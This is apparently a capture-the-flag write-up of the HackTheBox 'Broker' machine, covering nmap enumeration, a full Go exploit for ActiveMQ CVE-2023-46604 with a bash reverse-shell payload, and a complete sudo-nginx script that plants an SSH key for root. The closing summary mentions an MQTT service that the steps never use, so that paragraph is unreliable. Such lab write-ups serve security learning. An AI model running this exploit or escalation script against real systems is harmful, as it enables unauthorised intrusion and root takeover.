Contents

[HackTheBox] Broker

Broker is an easy difficulty Linux machine hosting a version of Apache ActiveMQ. Enumerating the version of Apache ActiveMQ shows that it is vulnerable to Unauthenticated Remote Code Execution, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx, which is similar to the recent Zimbra disclosure and is leveraged to gain root access.

  • nmap
  • ffuf
  • custom go and bash script
  • browser
  • terminal

Target IP Address: 10.10.11.243

$ nmap -sC -sV -oA nmap/broker 10.10.11.243

Nmap scan report for 10.10.11.243
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun  6 02:04:44 2025 -- 1 IP address (1 host up) scanned in 17.64 seconds
  • Port 22 (SSH) - Running OpenSSH 8.9p1
  • Port 80 (HTTP) - it showed a login prompt with ‘admin’ as both the username and password.
    ActiveMQ
    ActiveMQ
  • ActiveMQ 5.15.15 - version of ActiveMQ running on the target
    ActiveMQ Version
    ActiveMQ Version
  • Jetty 9.4.39.v20210325 — found in the /demo directory.
  • Ubuntu 3ubuntu0.4 - running OS machine
  • Nothing was found using the ffuf tool.

ActiveMQ 5.15.15 is vulnerable to CVE-2023–46604

NIST NVD

The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.

I found this exploit on GitHub, which is written in Go, and I cloned it to my machine then used it for the exploitation

package main

import (
 "encoding/hex"
 "flag"
 "fmt"
 "net"
 "strconv"
)

func main() {

 var (
  ip   string
  port string
  url  string
 )

 flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
 flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
 flag.StringVar(&url, "u", "", "Spring XML Url")
 flag.Parse()

 banner()

 if ip == "" || url == "" {
  flag.Usage()
  return
 }

 className := "org.springframework.context.support.ClassPathXmlApplicationContext"
 message := url

 header := "1f00000000000000000001"
 body := header + "01" + int2Hex(len(className), 4) + string2Hex(className) + "01" + int2Hex(len(message), 4) + string2Hex(message)
 payload := int2Hex(len(body)/2, 8) + body
 data, _ := hex.DecodeString(payload)

 fmt.Println("[*] Target:", ip+":"+port)
 fmt.Println("[*] XML URL:", url)
 fmt.Println()
 fmt.Println("[*] Sending packet:", payload)

 conn, _ := net.Dial("tcp", ip+":"+port)
 conn.Write(data)
 conn.Close()
}

func banner() {
 fmt.Println("     _        _   _           __  __  ___        ____   ____ _____ \n    / \\   ___| |_(_)_   _____|  \\/  |/ _ \\      |  _ \\ / ___| ____|\n   / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | |   |  _|  \n  / ___ \\ (__| |_| |\\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ \n /_/   \\_\\___|\\__|_| \\_/ \\___|_|  |_|\\__\\_\\     |_| \\_\\\\____|_____|\n")
}

func string2Hex(s string) string {
 return hex.EncodeToString([]byte(s))
}

func int2Hex(i int, n int) string {
 if n == 4 {
  return fmt.Sprintf("%04s", strconv.FormatInt(int64(i), 16))
 } else if n == 8 {
  return fmt.Sprintf("%08s", strconv.FormatInt(int64(i), 16))
 } else {
  panic("n must be 4 or 8")
 }
}

First, I start a Python web server to serve the XML file when I run the exploit.

python3 -m http.server 80

Then I set up a Netcat listener for a reverse shell.

nc -lvnp 9001

Third, I edited the XML file. Since the target is a Linux machine, I used the poc-linux.xml file. I made sure that the Bash reverse shell was configured to point to my IP address and listening port.

poc-linux.xml
poc-linux.xml

Lastly, I ran the exploit and successfully gained a reverse shell. Once I had the shell, I stabilized it using Python and stty to ensure a stable and interactive session.

Executing the script
Executing the script
Getting the reverse shell
Getting the reverse shell

Stabilizing the shell using Python

  • python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
  • press CTRL + Z in your keyboard
  • stty raw -echo; fg then hit Enter twice
  • export TERM=xterm for clear command

Stabilizing the shell
Stabilizing the shell

The activemq user has sudo privileges and can run nginx without requiring a password.

Sudo permission of user
Sudo permission of user

After researching, I came across a GitHub repository that demonstrates a privilege escalation technique.

Essentially, the script creates a custom nginx configuration, sets it, and then generate SSH and copy it to root user.

#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
 server {
         listen 1339;
         root /;
         autoindex on;
         dav_methods PUT;
 }
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"

Next, I transferred the id_rsa private key generated by ssh-keygen to my local machine and used it to establish an SSH connection as the root user.

Privilege Escalation to root user
Privilege Escalation to root user

  • Sudo misconfiguration with nginx

user.txt flag
user.txt
root.txt flag
root.txt

Broker was a fun and educational challenge that showed how important it is to properly secure messaging services. By carefully exploring the machine, we found a way to get sensitive information through the MQTT service, which helped us move further into the system. The machine reminded us why it’s important to lock down services, use strong passwords, and control who has access to what. It was a great learning experience for anyone interested in real-world hacking and cybersecurity.